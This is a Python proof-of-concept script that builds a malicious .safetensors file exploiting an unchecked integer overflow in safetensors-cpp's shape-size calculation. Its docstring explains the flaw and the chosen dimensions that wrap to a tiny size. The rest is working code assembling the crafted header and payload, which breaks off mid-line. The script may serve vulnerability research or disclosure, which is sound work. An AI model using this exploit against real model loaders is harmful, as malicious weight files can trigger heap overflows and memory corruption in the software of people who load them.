#!/usr/bin/env python3 """ Craft a malicious .safetensors file that exploits integer overflow in safetensors-cpp. The safetensors format: - 8 bytes: header_size as little-endian uint64 - header_size bytes: JSON header - remaining bytes: tensor data The JSON header maps tensor names to {dtype, shape, data_offsets: [start, end]}. VULNERABILITY: safetensors-cpp's get_shape_size() multiplies shape dimensions without overflow checking: size_t sz = 1; for (size_t i = 0; i < t.shape.size(); i++) { sz *= t.shape[i]; // NO checked_mul! } The Rust reference implementation uses checked_mul and rejects overflow. EXPLOIT: Shape [4194305, 4194305, 211106198978564] has true product ~3.7e27 but overflows uint64 to exactly 4. With F32 (4 bytes/element), tensor_size = 16 bytes. Validation passes because data_offsets = [0, 16]. A consumer that trusts the shape dimensions (e.g., to allocate a buffer for reshaping/processing) would compute 4194305 * 4194305 * 211106198978564 * 4 bytes = a colossal allocation, or if they also overflow, get a tiny buffer that they then write ~3.7e27 * 4 bytes into -> heap buffer overflow. """ import json import struct import sys import os def craft_overflow_safetensors(output_path: str): """Create a safetensors file with integer overflow in shape dimensions.""" # These shape dimensions overflow uint64 to exactly 4 elements # 4194305 * 4194305 * 211106198978564 ≡ 4 (mod 2^64) # Each value fits exactly in a double (JSON number) shape = [4194305, 4194305, 211106198978564] # F32 = 4 bytes per element # Overflowed tensor_size = 4 * 4 = 16 bytes data_size = 16 # Create the tensor data (16 bytes of actual data) tensor_data = b"\x41\x41\x41\x41" * 4 # 16 bytes of 'AAAA' pattern header = { "overflow_tensor": { "dtype": "F32", "shape": shape, "data_offsets": [0, data_size] } } # Serialize header to JSON # Use separators to minimize whitespace (matching safetensors convention) header_json = json.dumps(header, separators=(',', ':')) header_bytes = header_json.encode('utf-8') # Pad header to 8-byte alignment pad_len = (8 - len(header_bytes) % 8) % 8 header_bytes += b' ' * pad_len header_size = len(header_bytes) # Build the file file_data = struct.pack('